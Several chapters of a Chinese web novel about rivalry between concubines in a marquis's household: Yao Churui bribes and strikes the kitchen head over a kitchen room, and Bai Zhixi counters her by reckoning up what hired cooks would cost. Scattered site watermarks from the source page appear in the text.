夏姑姑也是想着,既然姚小娘成日里都让人觉得她是四房最得宠的,索性就让她求了姜奕辰去,有孩子在,姜奕辰多半会答应,到时候她对柏芷兮和府里上上下下也有了交代。 就算姜奕辰不答应,是给姚初蕊另设小厨房也好,还是赏些金银首饰、奇珍异宝的,也能平了她心里这口气,她也能落下些实惠到手里。 可姚初蕊却不这么想,她觉得定是夏姑姑听到什么风声了,以为她最近失宠了才故意拿姜奕辰拿捏她的。 姚初蕊顿时气不打一处来,指着夏姑姑就怒呵道:“什么事儿都要找爷来拿章程,你当爷是成日里没事儿干,净等着你们消遣的不成。” “就一间灶房你都不给,要去跟她芷小娘分一间,你也不肯做主,你说,你都收了她多少好处了?你给我出去跪着,等我回了夫人和爷,再来发落你。” 姚初蕊之前的神情、姿态还算平和,陡然暴怒,声音都有些嘶哑了,着实有些吓人,外面廊子里和院子里的人听了都吓了一跳。 夏姑姑见惯了大场面,倒是没有为此心惊,可是姚小娘这要让她到院子里跪着,她也不能拒绝,只是让她当众没脸,在下属面前失了体面,这比打她一顿板子还难受。 夏姑姑当即就在屋里跪下了,语气里带了些恳求,但也有着不卑不亢: “小娘三思,不是奴婢托大,只是这事儿闹开了,到底要被人说是四房不和,被外人看了笑话去。不过是一间灶房,何必如此?” “奴婢不敢开这口子,也是怕惹了府里其他主子不悦。这芷小娘是真不比那后厨上的老把式差,是真能帮得上忙的。要是事儿闹大了,惊动了侯夫人,要是问起姚小娘能帮上什么忙,姚小娘打算怎么回?” 第94章 不能反口 后宅这些女子经常给自己的夫君做些吃食,可没几个真是自己从头到尾动手做的,很多就是意思意思,最后出锅的时候盛一下或是摆一下盘。 如果徐氏问姚初蕊要一间大厨房的灶房做什么,夏姑姑要是有意帮着遮掩,也不是完全没有办法,可夏姑姑一开始没吐口,后面也不好反口了。 唉,这会儿姚初蕊不依不饶的,夏姑姑忽然就又犹豫了,是不是让姚初蕊跟柏芷兮一间也行,毕竟这是她们四房的事儿,让她们自己解决也好。 尤其柏芷兮是个省事儿的,用着大厨房的地方就有义务自己解决随之而来的麻烦,这也是为了她自个儿好不是? 这也不能怪夏姑姑左右反复、首鼠两端,实在是她该说的都说了,要是她刚才说的这番话再没用,她也不知道该说什么了。 而且徐氏只说了可以给柏芷兮一间灶房,并没有让她多看顾柏芷兮一些,事实上柏芷兮跟徐氏连面都还没见过,她照顾柏芷兮一些是情分,可要是因此给自己惹个大麻烦也不值当。 更何况别人或许不知道,夏姑姑是庖厨上真正的老把式了,她能看得出来,柏芷兮用的那些个食材定是能做出更多吃食的,芷春居的人消耗不了那么多,她平时送给婵儿那些小丫头们吃的都算上也不够,那就定是腌制或是烘烤之后留起来了。 柏芷兮为什么这么做,夏姑姑没琢磨透,不过都在这府里,能干什么呢?无外乎是做了菜干、肉脯之类的东西以后拿来佐菜或是留着讨好姜奕辰和柏兰姵的,总之柏芷兮要这灶房是有私用的。 既然如此,想要从中得到更大的利益,柏芷兮就该付出更多,自己把这些麻烦料理了才行,不该都指望着别人替她遮风挡雨。 夏姑姑便仰头看着姚初蕊又多说了句:“奴婢该说的都说了,要是姚小娘仍然没有改变主意。要不你就跟芷小娘说说,你们共用一间的话,或许侯夫人那儿也能交代过去。” 没想到姚初蕊听了后面这些话,反而更怒了,她抬手一挥就给了夏姑姑一巴掌。 这一下本身不算重,可就是巧了,刚好今日姚初蕊戴着一只镂空金丝镯子,那镯子上有纹路,刚好就打在夏姑姑眼角上,一时间竟然流了血出来。 眼、口、鼻都是关键的地方,流血的时候未必有多痛,但流起来却是不好止住的。 夏姑姑匆忙间也顾不上找帕子了,直接拿袖子摁着止血,边止血还得边告饶,心里那点刚刚生出的摇摆之意却是彻底没了: “姚小娘息怒,奴婢实在不知哪句惹恼你了,大厨房自有规矩在,你要是不满就去问了侯夫人的意思,改了就是了,何苦为难奴婢?” “要是奴婢让今日让小娘占了屋子去,坏了规矩,奴婢着实不知道该如何交代。尤其你若是用了几日便不用了,这屋子空置着究竟留还是不留,到时候还得去请四爷示下,着实麻烦。” “小娘若是不服,不如今日就去问了侯夫人或是让四爷身边的康安来说一句,无论作何决定,奴婢都当遵从。” 见了血,姚初蕊本来有些怕了,可一听刚刚夏姑姑明明已经有了些妥协的意思了,这会儿竟然又回到了让她去请示徐氏或者姜奕辰上,她只觉得自己的面子彻底没了,心里又羞又怒当即就要发作出来。 况且她刚才失手让夏姑姑脸上见了血了,夏姑姑每两三日就要去徐氏那儿一趟,这事儿定然是瞒不住的。 横竖到时候都得把徐氏责难几句,她到不如索性把事情闹大了,至少也闹夏姑姑一个没脸。 这大厨房上上下下知道了今日之事,便也知道这麻烦是柏芷兮惹回来的,将来柏芷兮继续在这里也舒服不了! 姚初蕊把帕子在手上扭了两下,立刻那种委屈又骄横的劲儿就起来了,声音也高了起来: “我说你几句又怎么了?为了陷我于不慈、不义,你就这等做派,故意抓伤自己的眼角想要陷害我。我的命怎么这么苦啊,我生了士明,是对府上有功劳的,现在一个管事儿婆子就敢如此待我,给我没脸。” “我活着还有什么意思?夏姑姑,你还委屈上了,我先前就说了可以跟芷小娘共用一间灶房,她没不许,我们爷也不许,侯夫人更是没有发过话,你就先不许了。” “你还怀疑我是要白占了这屋子去,并不是自己用的。这倒也罢了,没说几句,你又要改口了说可以跟芷小娘共用一间,只要她愿意。怎么,我进门比她早,位分比她高,我要用用灶房,还要问她的意思不成?” “结果你现在又改口了,又让我去问侯夫人和我们爷的意思,你堂堂大厨房掌事,竟然如此反复无常。我看你就是见我是个妾室,人微言轻,就是欺负上我了。” 夏姑姑心里苦啊,她虽说是管事儿,到底是个下人,在这个位子上坐着就得哪个主子的意思都顾全到了,各个主子的意见不一致,她说话间可不就有了反复了么。 偏偏姚初蕊抓住了这点不放,她这么说倒也没错,夏姑姑这会儿那个后悔啊,她刚才就该咬死了不让姚初蕊进来的。 夏姑姑的血还没止住,一边眼睛的视线都蒙上了血色:“奴婢哪儿敢欺负小娘,这事儿着实为难,可奴婢也有职责要守。” “今后小娘和小公子需要什么吃食,尽管来要,但凡能做出来的,不超了份例的,大厨房定当奉上,绝不敢有丝毫怠慢,但要让奴婢没有主子的话就破了规矩,奴婢万万不敢。” “你……翠蝶,给我掌她的嘴,我倒要看看今天谁能拦得住我!” 姚初蕊这几日被柏兰姵那儿供着的鞋袜弄得心慌意乱,刚开始她没明白柏芷兮为什么把换下来的鞋袜就那样留在那儿了,等她想明白了,怎能不后怕。 那鞋袜当场没有验明,但凡柏兰姵真要跟她计较,在里面加点儿什么再找人一验,她定是逃脱不了干系的。 刚巧她今日出来带的是翠蝶,没有如意在身边规劝,她这火儿是怎么都熄不了了。 第95章 好一个美妾 翠蝶跟柏兰姵身边的玉棋一样,都是已经把自己当做姜奕辰通房的人,这时候见姚初蕊受了委屈,更是觉得自己这样的人遇上这样的事儿更要受委屈了。 “让你欺负我们小娘,连间屋子都不给,还让我们小娘肯那个贱人的脸色,你就该打!” 翠蝶蹭蹭两步就上去了,不顾夏姑姑眼角还流着血还有血,抬手就打了下去。 翠蝶的想法跟姚初蕊一样,既然麻烦已经惹了,那就不怕惹得再大点,这种事儿,最后无论轻重,落下来的责罚都差不多。 夏姑姑年纪也不小了,被这么折腾,心里叫苦不迭,可事情已经到了这种地步了,她只能咬牙做个忠仆。 不过夏姑姑作为大厨房的掌事,心里也不是没有成算的,动静闹得这么大,前面的人定然已经知道了,这会儿应该已经去找徐氏报信了,就是在后面的柏芷兮也应该听到风声了,用不了多久就会有人来救她了。 为奴为婢和在大家子里做工的,少不得受些委屈,可她也不是任人拿捏的软柿子,这笔账迟早会找回来的。 姚初蕊人也打了,气也出了,正想着该如何收场才能让夏姑姑把这口气咽下去,还得松口让她得到她要的灶屋,就听见门口传来一声轻微的娇笑。 柏芷兮就那么笑盈盈地站在门口往里面看了一眼:“呦,姚姐姐这是怎么了?谁惹你不高兴了?夏姑姑都满头是血了,还不能解了你的气。” “婵儿,还不去看看你师父,姚小娘这儿有我呢,她有气也得冲我撒。姚姐姐,找个管事儿的撒气不过瘾,你既是奔着我来的,还是当面锣对面鼓地说清楚吧。” 柏芷兮说着,上前去婷婷袅袅地给姚初蕊行了个礼,也不等她说话,自己就站直了身子。 这是侯府,不是皇宫,姚初蕊是贵妾不假,可到底还是妾,位分是比她柏芷兮高,可也没高到让她行了礼等她叫才起的地步。 柏芷兮初见姚初蕊的时候还是很客气的,自从上回她想明白了自己该有个做妾室的样子之后开始,她便不打算端着了。 尤其眼前这情景,整个大厨房里就没个正经主子在,她身为一个娇媚、年轻不懂事的妾室,就该这般要强一下。 结果就是她之前在大厨房煮菜烧饭时饶是一副干练、爽利模样,虽然顶着一张沉鱼落雁的巴掌小脸,可硬是没人觉得她是那等狐媚女子。 她这会儿对着姚初蕊故意让那种与生俱来的媚态显露出来,又刻意做出那种美妾的样子,让人看了直觉得这大厨房的烟火气都要因为她变成仙气了。 冬暖倒还好,从前在揽月苑时没少见柏芷兮这副媚态天成的样子,一旁的夏姑姑和扶着她的婵儿反倒是愣住了,心里都直呼这还是之前那个柏芷兮吗? 夏姑姑甚至在想,这才是妾室该有的样子,跟柏芷兮这么一比,这府里别的妾室,别管是哪一房谁的,那都不叫妾了,那都是丫头和管事儿家的妇人了,这略显灰暗的大厨房前厅都因为她而变得春光明媚起来。 婵儿都不顾上给夏姑姑止血了,她在心里使劲儿嘀咕,要是柏芷兮一直是这副样子,还做什么菜啊,好好地当她的美妾多好,真用不着跟他们这些人混在一起,那些油烟气真是糟践了她! 可夏姑姑和婵儿也担心,她这副样子,气势上是起来了,却定会激起姚初蕊的嫉妒心和好胜心,只怕姚初蕊反而非要把她打压下去才好。 夏姑姑深知今日之后,柏芷兮就跟她是绑在一条绳上的蚂蚱了,她当然是盼着柏芷兮好,盼着她能赢过姚初蕊的,可是可能么? 先不说两个人有着位分上的差距,就算柏芷兮今日赢了,姚初蕊回头一状告到姜奕辰和世子夫人葛氏那里去,之后柏芷兮又怎能落得个好? 而且就是在这屋里,就怕柏芷兮也赢不了,夏姑姑他们服侍姚初蕊的年头长了,自然是更了解她的,别看姚初蕊进门前是大家闺秀,可她着实是个荤素不忌、“能文能武”的主儿。 这“能文能武”说的就是姚初蕊既能撒娇做痴、吟诗作对,也能动手打人,甚至就像刚才,她自己就能上手,回头一说就是自己单纯不知事、一时火上头了才冲动之下打了人,抹着眼泪、又哭又笑地求着姜奕辰和被她打骂了的体谅她。 这一招已经使过好几回了,更别说姚初蕊今天身边还带了个能当“打手”的翠蝶,而柏芷兮身边的冬暖看着就粗粗笨笨的,不像个能动手的。 万一这两拨人在这儿动起手来,可以预见的定是柏芷兮输……夏姑姑和婵儿仿佛都已经看到了柏芷兮被折腾得灰头土脸的然后被人架出去的情景了。 姚初蕊看到柏芷兮这番做派也是一愣,尤其柏芷兮来这大厨房都是要做事的,身上不会穿太好的衣裳,头上金银珠翠更是不带的,今日柏芷兮就是一身青色的素衣,头上两支没什么水头的簪子把头发挽住就来了。 在这布置得只能算是中规中矩的大厨房前厅,柏芷兮这样子竟然自有一股说出的我见犹怜的风流韵味。 刚刚姚初蕊还在诉苦,让自己如此对待霞姑姑的行为看起来更合情合理些,这会儿对上柏芷兮,她身上那些柔情和委屈通通变成了笑话。 就姚初蕊那样算得上委屈吗?没有衬托还好,这么一比,方才种种做派分明都是装的,就算不是装的,对比起来也是成色不行的下等货,没的真心的! 姚初蕊的气势一下子就弱了一截,她自己还没意识到,只是冷笑了一声道: “芷小娘总算肯露面了,瞧瞧你这样子,也敢来大厨房走动,也不怕撞见哪个外男冲撞了,白白给爷丢脸。” “你看看你干的好事儿,你才来这儿几天,就把这些人挑唆的不像样子了。我想给士明做些吃食,想要一间屋子,她都不给。我说跟你一间也成,她居然还让我问你的意思。” “我倒是不知道了,这种事儿我还要问一个刚进门的良妾的意思。咦,我倒是忘了,你是那种地方长大的,那位萧大娘子可有教你规矩体统、长幼尊卑?” 第96章 一步错招 位卑者往往一听到“长幼尊卑”这样的话就要被压住了,生怕被扣上一项大罪。 柏芷兮内心里也不例外,可是她略微想了想,今日之事姚初蕊已经先犯了错。 姚初蕊想要灶房,没有经过姜奕辰和徐氏的同意,私自来要,这都算不上错,这些柏芷兮之前也是这样做的。 可姚初蕊错就错在,在规矩不允许的情况下,她没有找到正确的方法打破规矩,让人家为了她破例,还是选择了跟夏姑姑正面冲突。 想到之前柏芷兮为了能让夏姑姑帮忙禀告徐氏从而松这个口,花了多少功夫?她是搭了食方和手艺进去,帮着大厨房省钱、省力,还跟婵儿这样的做后厨学徒的末等侍婢搞好关系。 在这当中,她待夏姑姑如亲长,待婵儿比起对犹如姐妹的冬暖至少在表面上都是有过之而无不及的。 这还真不是她夸张,她刚到大厨房的时候婵儿对她没少冒犯,总是阴阳怪气地说那些话,冬暖可不会这样,可她是怎么做的呢? 她不仅忍了下来,还一点一点化解了婵儿的敌意,还教婵儿手艺,还引导着婵儿去想将来的出路。她对其他人也是一样的,从来没红过脸。 而且她还无意中帮着夏姑姑解决了一个潜在的问题,徐氏和姜定武最近对一些民间小食甚是感兴趣,要不是她献出的那些食方,这大厨房定是要再进一个新厨子的。 这新人要是进来了,纵使做的不是什么大菜,不是要紧的师傅,可架不住一时间的得宠啊,葛氏那边据说都在寻访合适的人选了。 这要是进来了,就算不跟夏姑姑争,可这人就好管么?共事的时候,会不会把大厨房的事儿都捅到葛氏那儿去呢? 大厨房现在总体上都还是徐氏这边的人,葛氏作为世子夫人在分家之前就已经开始想要插手中馈了,插手往往是从一点一滴地渗透开始的,这人要是被葛氏引荐起来了,就成了又一次渗透的开始了…… 柏芷兮成功弥补了这一空缺,还把手艺教给了夏姑姑和婵儿她们这些徐氏这边的自己人,算是让他们自己人把这个位子占住了,赏赐也都落到了他们自己人头上,这些赏赐她可是一点都没沾手的。 再看看姚初蕊,来了张张嘴就让人家破例,人家不许,是给了五十两银子做打点。 良妾一个月的月例银子是三两,柏兰姵私下补贴二两给柏芷兮,贵妾五两,因为有孩子要照顾,姜奕辰私下贴补了,也就给到十两,这么看起来五十两银子是不少了。 可银钱多少都是相对的,五十两银子跟这口子开了后续要收拾的烂摊子相比,这可是远远不够的。况且真要使银子,也得私下里来,明面上总得给一个说得过去的托辞,哪有这么明晃晃地来的? 结果贿赂不成,还直接动手打人了。就算夏姑姑的态度强硬了些,姚初蕊觉得自己被冒犯到了,大可以禀了徐氏或是葛氏来责罚,就是去找管家都行,偏偏她还是自己动的手,这又是一层坏了规矩的。 其实姚初蕊要是聪明点儿就该去找葛氏,正好送葛氏一个向徐氏开口要协理中馈之权的机会,偏偏她选了如此简单、粗暴的方式。 姚初蕊不是那种一直混不吝的人,她是遇事儿的时候容易冲动、火上头,可冷静之后还是能想清楚的。 柏芷兮料定了事后姚初蕊不敢闹大,反而要找个台阶下,就更加不怕什么“长幼尊卑”了,更何况姚初蕊是贵妾,不是正妻,所谓的“长”并不是很名正言顺。 柏芷兮收敛了些脸上的笑意,想明白了这些,声音里便多了几丝坚持与铿锵: “长幼尊卑何须萧大娘子教,就算是市井里无人照料的乞儿也还有领着他们讨饭的人教呢。只是姚姐姐居长,妹妹这后来的、为幼的难道有了疑问,就问都不能问了?” “咱们到底是姐妹,就算是母女,也得母先慈、女才孝吧?姚姐姐要同妾用一间灶房,夏姑姑让你问妾的意思,并不是觉得妾比姐姐尊贵。” “而是这间灶房是破了例给妾的,在大厨房的记事录上写的是妾的名字,你要来分一半,自然要先跟妾说一声,这原也算不得错。” 她停下来笑了一下,“姚姐姐,事儿原不是这么办的,爷是没准许妾在芷春居设小厨房,可妾来大厨房要灶房,给不给看得是侯夫人和大厨房掌事的意思,也不是一开口就有了的。” “这中间也有过一些波折,姐姐你一来就要,要了人家就得给,还不许人家有个周旋的时日,这未免也太难为人了。” “妾为了这灶房,可是连祖传的食方和手艺都拿出来了,姚姐姐给了什么了?让妾看看,啊,五十两啊。” 前厅动静闹得这么大,早就有人跑了出来报信,一拨去找了徐氏,一拨去了西院儿找柏兰姵,再有一拨则是往后面跑去找柏芷兮她们。 柏芷兮过来的这一路上,已经有人把前厅里发生的事都跟她说了,甚至连姚初蕊原话说了什么都转述得差不多了。 说起来,这还是跟底下人打好关系结下的善缘,跟姚初蕊相比,柏芷兮现在就是大厨房的自己人,上上下下的人都绑着她,生怕她会输给姚初蕊。 甚至柏芷兮还没进门呢,就已经知道姚初蕊拿了五十两银子贿赂夏姑姑不成,就连这银票还大大咧咧地摆在桌案上呢。 姚初蕊都忘了自己那张银票还没有收起来,被柏芷兮指个正着,她脸色都变了。 只是她知道柏芷兮手头紧张,这五十两对于柏芷兮来说绝对不是个小数目,便少不得要拿银钱做文章: “五十两很少么?算上夫人给的贴补,芷妹妹一个月也才五两月银吧,还够使么?何况这五十两只能算是定银,之后的炭火和花销,我都是会另给的。” “一年下来,大厨房能多个一百来两银子,也不是一件坏事。芷妹妹给了食方,可你又有多少食方呢?要是这么算起来,这大厨房还亏了呢。” 第97章 咱们算算账 因为徐氏和姜奕辰经营有道,定安侯府不缺银子使,可也不会乱使银子,府里上下都还是要算开销的、 姚初蕊想着她就是多给些银子,能让大厨房这儿宽裕一些,夏姑姑这儿大可以跟徐氏说大厨房还空着好几间灶房呢,就给她一间用着,也能多给姜士明补养补养,这事儿就能成了。 况且食方再有用,也没人能拒绝真金白银的诱惑吧。每年多些银子,也不会全都到了大厨房的公账上,有一些定是要落在夏姑姑自己手上的,她能不贪这好处了? 姚家败落,姚初蕊手头的银子自然不能跟徐氏、柏兰姵她们的相比,可是对付一个柏芷兮还是够的,更何况她还有姜士明这个侯府独孙在,要单占一间灶房的理由也很充分。 姚初蕊见柏芷兮一直盯着那张银票看,更是以为自己胜券在握了。 今日,她只要把柏芷兮压服了,形势就护逆转。只要她能逼着柏芷兮跟她站在一起,一起咬死了是夏姑姑对她不敬,有了人证,就是闹到徐氏面前她也不怕。 这样以来,还能让柏芷兮反咬夏姑姑一口,以后她在大厨房的人缘和口碑也就都完了,谁还敢再帮她? 再要不,姚初蕊就打算通过压服柏芷兮,让夏姑姑倒向她,之后她可以跟夏姑姑一起指责柏芷兮在这当中上下挑唆、煽风点火,还在食方上说了谎话,这样定是能将柏芷兮挤出大厨房的。 这府里不缺厨子,缺的能抓住机会的人,柏芷兮也是刚好抓住了徐氏那些天想吃脆口吃食的机会而已,谁还真在乎她会不会做菜? 等把柏芷兮挤兑出去了,大不了她自己出银子补一个厨子进来,只要能争了这口气,让这府里的人看到她依旧是西院儿的独一份儿,多花点银子也值得。 姚初蕊笃定了柏芷兮拿不出这么多银子,语气愈发骄傲:“芷妹妹的食方总有用尽的时候,可我这银子是可以一直给的。这么算起来,我比你要强。” “我听说你最近在帮着府里的下人们酿酒,其实你大可不必费这些功夫,有了银子,那些个下人喝的米酒哪儿买不来?你做的这些说到底都是低贱功夫,你是怎么想到做这些的?” “我知道你从小日子过得苦,手头也没什么银钱,只能想到以工代银这种微末法子,也不怪你。我之前还想着跟你共用一间灶房,现在想想倒是我想岔了,干脆把你这间给我吧。” “我瞧着你也用不着老在这儿待着,要单独的灶房,无外乎是想着将来做吃食给爷吃方便,想勾着爷的心,你用不着这样的手段,有你那狐媚劲儿就够了。” “你也没孩子要照料,也不用给夫人那边炖汤水,干脆就送给我用吧。我大不了再多出一份银子,请个有年资的女厨进来,怎么都比你强吧。” 这就是说柏芷兮用心不良,要这灶房说是满足自己的口腹之欲,实际上还不是要在男人身上下功夫,只是现在嘴上还没有承认罢了。 不单如此,还把柏芷兮的手艺贬低得一无是处,说她不过是靠着手段进来的,随便请个厨子来就能替代了她。 这可是侯府,几个食方算什么?只要府里要人,外面有的是厨子愿意来,还花不了多少银子。 柏芷兮眼中隐隐有了怒气,这已经不止是在羞辱她了,姚初蕊这是在羞辱厨艺,甚至羞辱的不止是她的厨艺。 不过,五十两银子,呵,姚初蕊这是府里的日子过太久了,都不知道外头是什么情况了。 柏芷兮也不动怒,只淡淡地问了句:“爷打理府中庶务辛苦,妾身为后宅妇人,理当为府中节省开支着想,姚姐姐以银代工此法倒不失为一条好路。” “只是方才姐姐说这五十两只是定银,后续还有补足,一年大概能出百十来两,还要再另外添银子给大厨房再请个厨子,可对?” 一二百两银子她还是出的起的,姚初蕊也没多想,直接就应下了:“对,要是你肯把灶房让出来给我,这银子我出。” 柏芷兮却笑了:“那妾倒要帮着姚姐姐算一算这笔账了,这五十两是定银,倒也说的过去,后续的炭火、厨工的打赏还有份例之外的食材花销,只要不是吃那些稀罕玩意儿,一年再添上一百两倒也足够了。” “这灶房妾是靠手艺入了侯夫人的眼的,姐姐要靠银子买,那多少还得给些租赁的费用。姐姐这也算是开了先例了,以后这府里别的小娘只要有银子的都能这么干,这屋子便不够用了。” “所以这块儿怎么说一年也得给百两,还有另外请厨子,妾之所以有这些食方,一来是家里五代皆是做庖厨营生的,二来,也不瞒姐姐,从前在揽月苑的时候也涉猎了不少,其中不乏一些前朝宫中的食方。” “妾不敢说这里面的菜色道道都做得好,但妾想着有些食材、香料不易得,便做了些精简和删改,之后放在咱们侯府用是再合适不过的了。” “这些食方和菜色来自天南地北,不说有多精,杂而多是一定说的上的。想来姚姐姐也不知道请这样一位厨子一年要花多少银子,妾也不是很清楚,不妨问问夏姑姑?” 要是让柏芷兮自己说有这手艺的庖厨工钱几何,难免有自抬身价的嫌疑,而且她需要让夏姑姑明确地跟她站在一起。 夏姑姑跟侯府定的是工契,虽然自称奴婢,却并不是侯府真正的下人,她犯不着为了自己跟姚初蕊迎来。 刚刚进来之前,柏芷兮听着通风报信的小侍女说的那些话,她已经感觉到了夏姑姑的犹疑和摇摆不定,这种时候她得给夏姑姑吃颗定心丸,让她知道她们此刻一荣俱荣、一辱俱辱才行。 夏姑姑再是比她长了许多年岁、见多识广,从前做下人的时候也是个体面的下人,这刚刚挨了打,现在看着血是止住了,可还是满脸血渍,此刻也都是惊魂未定的。 人在这种时候是最没有主意的,人一旦恍惚了,就好像那风中的柳枝,风往哪边刮,她就往哪边飘。 她得拉夏姑姑一把,不管夏姑姑心里是不是已经决定息事宁人了,她都得先把人拉过来…… 第98章 你有银子,你出! 第98章 你有银子,你出! 夏姑姑刚刚被打,流了一脸的血,其实不是眼睛被打坏了,是左边眼角旁边的皮肤上被姚初蕊的镂空拧丝金镯子划了一条大口子,从眼角一直蜿蜒到了额角。?微:¢趣o<§小\说aa网§> ?1|更;新u$?最?¥快@ 这一下子划得深了,口子也斜了,过了这一会儿倒是不太疼了,可是血流得止不住,婵儿拿帕子给她摁着,很快帕子上就都是血了。 可是姚初蕊不发话让夏姑姑去找府里的医婆上药,夏姑姑就不能走,还是冬暖先跑出去找人要了些白药来,让婵儿就地先给她敷上。 夏姑姑虽说只是个庖厨,可无论是小时候就跟着家里的长辈学手艺,还是大了到食肆和各府上做工,都是个体面的人,何况她没犯过大错,就是犯了小错,主子最多也就是责骂几句,再罚一点银子,哪里受过这样的罪? 要说做庖厨的,手上、胳膊上多是受过伤的,这脸上从前最重的伤也就是炸东西的时候被油电子溅到了,这还是头一回流了这么多血。 而且这血刚下来的时候着实有点多,一时间弄得夏姑姑的眼睛里都是血水,她当时那个怕啊,脸上留了疤痕不体面,可这眼睛要是坏了,以后看不清楚了,可是影响她的营生的。ˉ.3???8@看|,?书??网?_ |\免,=费|.阅′读? 好在在婵儿的照料下,流到眼睛里的血都被擦干了,她这会儿也能看清楚眼前的东西了,一颗心这才平静了下来。 要说刚才夏姑姑的态度还有些摇摆,想着要不要息事宁人,左右都是他们四房的家事,让姚初蕊进来了,再让她跟柏芷兮自己解决,可现在她不这么想了。 她这么大的伤顶在脸上,要是今日再让姚初蕊占了便宜了,她以后在大厨房还如何管人? 这要是平时,顾着先夫人的这层关系,她退一步忍了也就忍了,可是她刚才血流如注的时候,或许就是萌生了绝地逢生的那份勇气了,她忽然就想了一些从前以她的身份不该想的事。 姚初蕊仗着先夫人和世子那边的关系耀武扬威,没错,姜定武看重发妻,从前又未尝没存着要让亡故发妻的外甥女做姜奕辰正室的想法,结果被徐氏提前把柏兰姵聘了下来截了胡,因此这些年他一个本不该插手儿子后院之事的侯爷,每逢节庆阖府摆宴的时候都要拉拔姚初蕊母子一把。°ˉd优>@[品¢小t3说2?网> :免2费??o阅}?3读′ 可这侯府里,对姚初蕊不满的人也多了,不止是四房的人,就是世子姜奕德后院儿的人难道就对她满意了? 就像世子夫人葛氏,对姚初蕊好,不过是想让她帮着给姜奕辰时不时地递几句,为的就是想借着侯府的庶务让自己的嫁妆更充盈些。可是这些年话她是帮着递了,收到效果却不大,葛氏那边早就有怨言了。 还有世子那边的那些妾室,人家再不被主母葛氏待见,人家也是世子的妾室,能高兴让四房的贵妾压到她们头上、比她们更风光吗? 在这些人心里,姚初蕊跟先夫人姚氏的这层关系根本算不得什么,不过是个外甥女罢了,现在姜定武也上了年纪了,说句不好听的,姜定武百年之后,姜奕辰就得分出去了,到时候姚初蕊算个什么? 还有就是姜定武和姜奕德虽说在府里自家摆宴的时候会提携姚初蕊几句,但是他们毕竟是男子,总不好频繁插手,还是顾不到的时候居多的…… 这种情况下不说把姚初蕊整倒,打压打压她的嚣张气焰绝对是有运作的余地的,而且定然有不少人愿意暗中帮忙。 夏姑姑在大厨房掌事这个位置上,别的不说,认识的人和跟她有面子情的人可真不少,她心里憋着一口怨气,刚就在盘算着等过了今日,一定要把这口气给出了。 这会儿柏芷兮主动问她从外面请厨子的事儿,她便不客气地说了: “回两位小娘的话,咱们府上的厨子,除了两个点心上的家生子,其余的都是外头聘的。侯爷和侯夫人仁善,也想着隔几年就换换口味,因此跟咱们定的都是工契。” “这做凉盘儿、果盘儿、点心上的一年五十两银子,做饺子、盒子、糕、面上的师傅一年六十到七十两不等,这做大菜的又分了家常菜和宴赏菜。” “负责日常主子们和小娘们家常菜色的,一年要八十两,做大菜和宴赏菜的,就多些了,一年至少都要一百二十两往上。” 侯府的厨子可不比外面的,都是各地招揽来的名厨,好些都是背井离乡来的南安都,这工钱都是要包着安家费的。 尤其是这外面请的工钱要比家生的月银高,家生的厨子将来年纪大了,干不动了,府里是要把他们送到庄子上去养老的,外面请的则不用,因此这相对来说就是短工了,短工的工钱自然比家生的要高。 而且这还只是工钱,不管家生的还是外面请的府里一年四季都是要给衣裳和负责汤药银子的,另外还有赏钱,算下来花销当真不少。 这还不够,夏姑姑还特意加重了语气道,“原本是要像姚小娘说的那样从外面再请个厨子的,可难就难 在那些个会做小吃的厨子,往往只会某一地或某一带的吃食,难得有像芷小娘这样天南地北的都知道些的。” “要是东南西北的都兼顾到,少说也要多请两到三个人,这花费便太多了。奴婢也是考虑到这一点,才想着跟芷小娘搭着手把这活儿干了。” “芷小娘出食方,提点手艺,奴婢们动手做,这样才把最近的小食凑和下来。要是姚小娘不想让芷小娘太辛苦,这一个做小食的厨子一年少说也得给七十两,三个便要二百一十两,还要解决他们的衣、食、住,加上之前说的花费,小娘一年少说得贴进来四五百两。” 这是把屋子的占用费用、炭火费和重重抛费都算上了,实际上还要考虑一些别的问题,比方说以姚初蕊的身份到底适不适合这样大张旗鼓地弄两三个人进来。 而且姚初蕊真有她说的那么殷实、不缺银子么? 第99章 表面风光 第99章 表面风光 在姚初蕊进门的时候,姚家就已经败落了。.1-8?6,t¢x,t′.\c?o¨. 当年姚家为了给姚初蕊撑场面,初时的确给了不少嫁妆,可那些嫁妆至少有一半都在姚初蕊进门之后不久以给她侄儿做生辰的名义还了回去,这件事姜奕辰也是默许了的。 夏姑姑虽然不知道具体有这么件事,但是她认识的人多,服侍过姚初蕊的人也多,从日常姚初蕊的开销上能看出来,她并不是像她所说的那般大方的。 要不然刚说那花销的时候,她就不会以为一年下来一二百两就够了,她这么说,就是因为她有些时日没动过大钱了,根本不知道外头的行情。 柏芷兮也看出了这一点,这才让夏姑姑说清楚,要论单个儿的手艺和每日都搭在庖厨上的工夫,她的确比不过专门的厨子,可她胜在是个杂家,跟夏姑姑、婵儿她们一搭手,能少添两三个人。 而且徐氏和姜定武只是最近好这口,吃小食多了些,往日并不会如此,那万一过些时日他们又不好这口了,要是请了人进来,难不成还能立刻打发了出去? 请厨子、定工契,这时候一般都是要定三年的,人一旦进来了就不好打发。?齐¥盛??小?1°说`%<网a ?}无*错?内e容(%府里人多,众口难调,大多数时候这人即便闲着,也得到三年期满之后才能散出去。 这三年的花费算下来就得五百多两,而用柏芷兮则不一样,不止不用额外出工钱,要是哪天徐氏和姜定武不好这口了,随时可以不让她帮忙了,完全省掉了人员遣散这样的麻烦和花销。 柏芷兮见姚初蕊脸色不好,便道:“姚姐姐平日里要忙着照顾小公子,想是有许久没有亲自料理这些琐事了,不知道外面的行价。” “而且要请人,一下子还要请两三个,要想找个可心可意的,恐怕也需要些时日。姚姐姐要是愿意承担这些银钱和辛苦,妾愿意让闲。” “要按妾的意思,要不这样吧。侯夫人前几日才开了金口允了妾进来用那间灶房,这就改了决定也不好。姚姐姐要的急,不妨就把这三年的开销一并拿出来,交给夏姑姑安排,这样之后夏姑姑去回话,也好有个交代。” “姚姐姐出身姚家,又是以贵妾之礼进的门,跟妾不一样,姐姐是有嫁妆的,原就比妾们殷实,这点银子定然不在话下。o咸+鱼?看节£ 夏姑姑这样先说了她们是自己人,之后又没有偏袒姚初蕊多少,这“自己人”当得本来就没有多大意义,还不如从始至终都公正无私。 柏芷兮叹了口气道:“也难怪姚姐姐生气,她是有些摇摆不定了,可她毕竟是个下人,要看主子脸色行事,这也是在情理之中的。” “姚姐姐还是不要那么计较的好,说来说去,咱们到底都是妾室,这种事儿能少闹到上面去,还是不要闹了。姚姐姐也不必瞒我,你刚才急着要把夏姑姑关起来,也不是真要抓她到侯夫人面前理论吧?” 